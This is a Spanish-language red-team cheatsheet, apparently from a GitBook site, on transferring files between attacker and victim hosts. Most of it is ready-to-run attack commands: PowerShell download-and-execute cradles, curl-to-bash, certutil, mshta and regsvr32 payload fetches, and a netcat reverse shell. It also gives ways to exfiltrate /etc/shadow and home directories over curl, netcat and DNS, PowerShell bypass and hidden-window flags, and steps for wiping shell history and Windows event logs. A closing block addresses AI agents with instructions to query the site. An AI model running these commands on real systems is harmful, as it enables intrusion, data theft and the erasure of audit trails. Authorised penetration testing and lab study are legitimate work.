> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/recursos/file-transfer-cheatsheet.md).

# File Transfer - cheatsheet

> Transferencia de archivos entre sistemas — Red Team / CTF / Pentest Reference

***

## Python HTTP Server

`BOTH` — Método universal, rápido y simple.

### Servidor (atacante)

```bash
# Servir el directorio actual en puerto 8080
python3 -m http.server 8080

# Especificar bind address
python3 -m http.server 8080 --bind 0.0.0.0

# Python 2 (sistemas legacy)
python -m SimpleHTTPServer 8080
```

### Descarga desde víctima Linux

```bash
wget http://ATTACKER:8080/file.sh
curl -o /tmp/file http://ATTACKER:8080/file
curl -s http://ATTACKER:8080/script.sh | bash  # ejecutar en memoria
```

### Descarga desde víctima Windows

```powershell
# PowerShell - en memoria (sin tocar disco)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/shell.ps1')

# CMD - usando certutil
certutil -urlcache -split -f http://ATTACKER:8080/nc.exe nc.exe
```

***

## SMB / Impacket

`BOTH` — Ideal para transferir desde Kali a Windows.

### Servidor SMB (atacante Kali)

```bash
# Compartir directorio actual como 'share' (anónimo)
impacket-smbserver share $(pwd) -smb2support

# Con autenticación
impacket-smbserver share $(pwd) -smb2support -user user -password pass

# Sin python (alternativa con samba real)
# Editar /etc/samba/smb.conf y agregar:
# [share]
#   path = /tmp/share
#   read only = no
#   guest ok = yes
systemctl start smbd
```

### Desde víctima Windows

```cmd
:: Copiar archivo
copy \\ATTACKER\share\nc.exe C:\Windows\Temp\

:: Montar como unidad
net use Z: \\ATTACKER\share
net use Z: \\ATTACKER\share /user:user pass

:: Ejecutar directamente desde share (sin copiar)
\\ATTACKER\share\nc.exe -e cmd.exe ATTACKER 4444
```

### smbclient (Kali → leer/escribir en Windows)

```bash
smbclient \\\\TARGET\\C$ -U 'user%pass'
# Comandos interactivos:
smb: \> put shell.exe Windows\Temp\shell.exe
smb: \> get \Users\user\Desktop\flag.txt
smb: \> ls
```

### Con hash NTLM (Pass-the-Hash)

```bash
smbclient \\\\TARGET\\C$ -U 'user%aad3b435b51404eeaad3b435b51404ee:HASH' --pw-nthash
```

***

## Netcat / Socat

`BOTH` — No depende de HTTP, útil cuando otros métodos fallan.

### Netcat — Push desde víctima

```bash
# 1. Receptor (atacante)
nc -nlvp 9001 > recibido.bin

# 2. Emisor (víctima)
nc ATTACKER 9001 < archivo.bin

# Variante con timeout (Linux)
nc -w 3 ATTACKER 9001 < archivo.bin
```

### Sin nc disponible — usando /dev/tcp

`LINUX` — Bash built-in, sin binarios extra.

```bash
# Receptor (atacante)
nc -nlvp 5555 > file.bin

# Emisor (víctima, sin nc instalado)
cat file.bin > /dev/tcp/ATTACKER/5555

# Recibir en víctima desde atacante
exec 3<>/dev/tcp/ATTACKER/5555
cat <&3 > received_file
```

### Socat (más confiable que nc)

```bash
# Receptor
socat TCP-LISTEN:9001,fork FILE:out.bin

# Emisor
socat FILE:input.bin TCP:ATTACKER:9001

# Encrypted con SSL (OPSEC)
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0 FILE:out.bin
socat FILE:input.bin OPENSSL:ATTACKER:443,verify=0
```

***

## PowerShell & Windows LOLBaS

### PowerShell — Descarga a disco

```powershell
# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri http://ATK:8080/nc.exe -OutFile C:\nc.exe
IWR http://ATK/f.exe -UseBasicParsing -OutFile f.exe

# WebClient (más rápido, compatible PS 2.0)
(New-Object Net.WebClient).DownloadFile('http://ATK/f.exe','C:\f.exe')

# Con autenticación
$wc = New-Object Net.WebClient
$wc.Credentials = New-Object Net.NetworkCredential("user","pass")
$wc.DownloadFile('http://ATK/f.exe','C:\f.exe')
```

### PowerShell — Ejecutar en memoria (sin disco)

```powershell
# Clásico download cradle
IEX((New-Object Net.WebClient).DownloadString('http://ATK/shell.ps1'))

# Alternativa con IWR
IEX(IWR http://ATK/shell.ps1 -UseBasicParsing)

# Bypass para PowerShell ConstrainedLanguage Mode
$h=New-Object Net.WebClient;$h.Headers.Add('User-Agent','Mozilla/5.0');IEX($h.DownloadString('http://ATK/s.ps1'))
```

### PowerShell — Upload

```powershell
# POST file
Invoke-RestMethod -Uri http://ATK:8080/ -Method POST -InFile C:\sam.bak

# WebClient UploadFile
(New-Object Net.WebClient).UploadFile('http://ATK/upload','C:\loot.zip')
```

### LOLBaS — certutil&#x20;

```cmd
:: Descarga
certutil -urlcache -split -f http://ATK/nc.exe nc.exe

:: Borrar caché después de descargar (OPSEC)
certutil -urlcache -split -f http://ATK/nc.exe delete

:: Base64 encode/decode
certutil -encode input.exe output.b64
certutil -decode output.b64 input.exe
```

### LOLBaS — bitsadmin

```cmd
:: Descarga en background (asíncrono)
bitsadmin /transfer myJob /priority HIGH http://ATK/nc.exe C:\nc.exe

:: Ver jobs activos
bitsadmin /list /allusers /verbose
```

### LOLBaS — mshta / regsvr32&#x20;

```cmd
:: mshta - ejecutar HTA remoto
mshta http://ATK/payload.hta
mshta javascript:a=GetObject("script:http://ATK/p.sct").Exec();close();

:: regsvr32 (Squiblydoo)
regsvr32 /s /n /u /i:http://ATK/payload.sct scrobj.dll
```

{% hint style="warning" %}
Estos métodos están altamente detectados por AV/EDR moderno. Usar solo cuando otros métodos no estén disponibles o en escenarios donde detección no sea preocupación.
{% endhint %}

***

## SCP / SFTP / Rsync

`LINUX` — Requiere credenciales SSH.

### SCP

```bash
# Atacante → Víctima
scp file.txt user@TARGET:/tmp/
scp -r dir/ user@TARGET:/opt/

# Víctima → Atacante (pulling)
scp user@TARGET:/etc/passwd .

# Puerto alternativo
scp -P 2222 user@TARGET:/etc/passwd .

# Con identity file
scp -i ~/.ssh/id_rsa file.txt user@TARGET:/tmp/

# Ignorar host key check (CTF/lab)
scp -o StrictHostKeyChecking=no file user@TARGET:/tmp/
```

### SFTP (interactivo)

```bash
sftp user@TARGET
# Comandos:
sftp> put local.sh /tmp/remote.sh
sftp> get /etc/passwd
sftp> ls -la
sftp> mput *.txt
sftp> bye
```

### Rsync

```bash
# Sincronización con progreso y compresión
rsync -avz --progress ./dir/ user@TARGET:/tmp/

# Solo archivos nuevos/modificados
rsync -avzu source/ user@TARGET:/dest/

# Via SSH con puerto específico
rsync -avz -e 'ssh -p 2222' source/ user@TARGET:/dest/

# Exclude patterns
rsync -avz --exclude='*.log' source/ user@TARGET:/dest/
```

***

## Base64 (sin herramientas extras)

`OPSEC` — Sin red, transferencia via copy-paste o shell.

### Linux — Encode / decode

```bash
# Encode (single line, sin wrapping)
base64 -w0 file.exe > file.b64
base64 -w0 file.exe | xclip -selection clipboard  # directo al clipboard

# Decode
base64 -d file.b64 > file.exe
echo "BASE64STRING" | base64 -d > output.bin
```

### Windows PowerShell

```powershell
# Encode binary a Base64
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\file.exe"))

# Decode Base64 a binary
[IO.File]::WriteAllBytes("C:\out.exe", [Convert]::FromBase64String("BASE64STRING"))

# String simple
$b = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("texto"))
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))
```

{% stepper %}
{% step %}

### Workflow completo — Pasar binario Kali → Windows sin red

```bash
# 1. En Kali: encodear el binario
base64 -w0 nc.exe
# Copiar el output gigante
```

{% endstep %}

{% step %}

```powershell
# 2. Pegar en Windows víctima:
$b64 = "TVqQAAMAAAAEAAAA//8AAL..."
[IO.File]::WriteAllBytes("C:\Windows\Temp\nc.exe",[Convert]::FromBase64String($b64))
```

{% endstep %}
{% endstepper %}

***

## FTP / TFTP

### FTP Server (atacante)

```bash
# pyftpdlib - anónimo writable
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21 -w

# Con autenticación
python3 -m pyftpdlib -p 21 -u user -P pass -w -d /tmp/ftp/
```

### FTP Script para Windows (no interactivo)

```cmd
:: Crear script
echo open ATK 21> ftp.txt
echo user anonymous>> ftp.txt
echo anonymous>> ftp.txt
echo binary>> ftp.txt
echo get nc.exe>> ftp.txt
echo bye>> ftp.txt

:: Ejecutar
ftp -v -n -s:ftp.txt

:: Cleanup
del ftp.txt
```

### TFTP (UDP 69) — Útil en redes restrictivas

```bash
# Servidor Kali
apt install atftpd
atftpd --daemon --port 69 /tmp/tftp/

# O con dnsmasq
dnsmasq --enable-tftp --tftp-root=/tmp/tftp/ --user=root
```

```cmd
:: Cliente Windows (necesita feature TFTP habilitada)
tftp -i ATK GET nc.exe
tftp -i ATK PUT loot.zip
```

***

## Upload / Exfiltración

### Python Upload Server (atacante)

```python
# server.py - guardar y ejecutar
python3 -c "
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers['Content-Length'])
        data = self.rfile.read(l)
        fname = self.headers.get('X-Filename', 'upload.bin')
        open(fname, 'wb').write(data)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
socketserver.TCPServer(('', 8080), H).serve_forever()
"
```

### curl upload (víctima)

```bash
# POST raw
curl -X POST http://ATK:8080/ --data-binary @/etc/shadow

# Multipart
curl -F "file=@/etc/shadow" http://ATK:8080/upload

# Con header de nombre
curl -X POST http://ATK:8080/ -H "X-Filename: shadow" --data-binary @/etc/shadow
```

### Netcat upload (exfiltración en bulk)

```bash
# Atacante recibe
nc -nlvp 4444 > loot.tar.gz

# Víctima envía (directorio completo comprimido)
tar czf - /home/user/ | nc ATK 4444

# Con cifrado simple
tar czf - /home/user/ | openssl enc -aes-256-cbc -salt -k "P@ssw0rd" | nc ATK 4444
```

### Exfil via DNS (cuando solo DNS sale del network)

```bash
# Atacante (escuchar DNS queries)
dnschef --interface 0.0.0.0 --logfile dns.log

# O con tcpdump
tcpdump -i any -s 0 -A 'udp port 53'

# Víctima — exfil byte por byte como subdominios
for c in $(base64 /etc/passwd | tr -d '\n' | fold -w 30); do
  dig $c.exfil.attacker.com @ATK_DNS
done
```

***

## Bypass / OPSEC Tips

### HTTPS para evadir inspección de red

```bash
# Generar certificado autofirmado
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj "/CN=cdn.cloudflare.com"

# Servidor HTTPS simple
python3 -c "
import ssl, http.server
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('cert.pem', 'key.pem')
h = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)
h.socket = ctx.wrap_socket(h.socket, server_side=True)
h.serve_forever()
"
```

```bash
# Descarga ignorando cert (curl/wget)
curl -k https://ATK/file -o file
wget --no-check-certificate https://ATK/file
```

```powershell
# PowerShell ignorar cert errors
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IWR https://ATK/file -OutFile file
```

### Alternate Data Streams (Windows) — Esconder en archivos legítimos

```cmd
:: Esconder binario en ADS de archivo legítimo
type nc.exe > C:\Users\Public\legit.txt:nc.exe

:: Ejecutar desde ADS (Windows 10+ ya no permite execute directo)
wmic process call create "C:\Users\Public\legit.txt:nc.exe"

:: Extraer ADS
more < C:\Users\Public\legit.txt:nc.exe > C:\Temp\nc.exe

:: Listar ADS de un archivo
dir /R C:\Users\Public\
```

### PowerShell — Bypass flags

```cmd
:: Combinación completa de bypass
powershell -ExecutionPolicy Bypass ^
  -WindowStyle Hidden ^
  -NonInteractive ^
  -NoProfile ^
  -EncodedCommand <BASE64_UTF16LE>

:: Versión corta
powershell -ep bypass -w hidden -nop -c "COMANDO"
```

### Generar EncodedCommand en Linux

```bash
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://ATK/s.ps1")' | iconv -t UTF-16LE | base64 -w0
```

### Cradle sin tocar disco

```powershell
# El método más OPSEC-friendly para ejecutar payloads
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATK/shell.ps1')"

# Sin "DownloadString" (más sigiloso, evade detection)
$w=New-Object Net.WebClient;$s=$w.OpenRead('http://ATK/s.ps1');$r=New-Object IO.StreamReader($s);IEX $r.ReadToEnd()
```

### WebDAV (alternativa a SMB cuando 445/TCP está bloqueado)

```bash
# Servidor WebDAV (atacante)
pip3 install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=80 --root=. --auth=anonymous
```

```cmd
:: Víctima Windows - copiar via UNC sobre HTTP
copy \\ATK\DavWWWRoot\nc.exe C:\nc.exe

:: O montar como unidad
net use Z: \\ATK\DavWWWRoot
```

### Limpieza de huellas

```bash
# Linux - borrar historial
history -c
unset HISTFILE
export HISTFILE=/dev/null

# Borrar logs específicos
> /var/log/auth.log
> ~/.bash_history
```

```powershell
# Windows - borrar historial PowerShell
Remove-Item (Get-PSReadlineOption).HistorySavePath
Clear-History

# Limpiar event logs (requiere admin)
wevtutil cl Security
wevtutil cl System
```

***

## Referencia Rápida

| Método                   |   | Puerto   | Notas                                   |
| ------------------------ | - | -------- | --------------------------------------- |
| `python3 -m http.server` |   | 8080/tcp | Más rápido para Linux. wget/curl/IWR    |
| `impacket-smbserver`     |   | 445/tcp  | Ideal Kali→Win. Requiere `-smb2support` |
| `scp` / `sftp`           |   | 22/tcp   | Requiere credenciales SSH               |
| `certutil`               |   | 80/tcp   | LOLBaS. ⚠️ Detectado por AV moderno     |
| `bitsadmin`              |   | 80/tcp   | LOLBaS. Asíncrono, background           |
| `nc` / `netcat`          |   | any      | Universal, no depende de HTTP           |
| `/dev/tcp`               |   | any      | Bash built-in, sin binarios extra       |
| `base64` encode          |   | —        | Sin red, via clipboard/shell            |
| `pyftpdlib`              |   | 21/tcp   | FTP anónimo rápido para Windows         |
| `wsgidav` (WebDAV)       |   | 80/tcp   | UNC paths. Útil en redes restrictivas   |
| `socat`                  |   | any      | Más confiable que nc, soporta SSL       |
| `mshta` / `regsvr32`     |   | 80/tcp   | ⚠️ Highly detected                      |
| `tftp`                   |   | 69/udp   | UDP, útil cuando TCP outbound bloqueado |
| `rsync`                  |   | 22/tcp   | Sincronización, compresión              |

***

## Verificación de Integridad

Siempre verificar el hash después de transferir archivos importantes:

### Linux

```bash
md5sum file
sha1sum file
sha256sum file
```

### Windows

```powershell
Get-FileHash file.exe -Algorithm MD5
Get-FileHash file.exe -Algorithm SHA1
Get-FileHash file.exe -Algorithm SHA256

# CMD legacy
certutil -hashfile file.exe MD5
certutil -hashfile file.exe SHA256
```

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/recursos/file-transfer-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
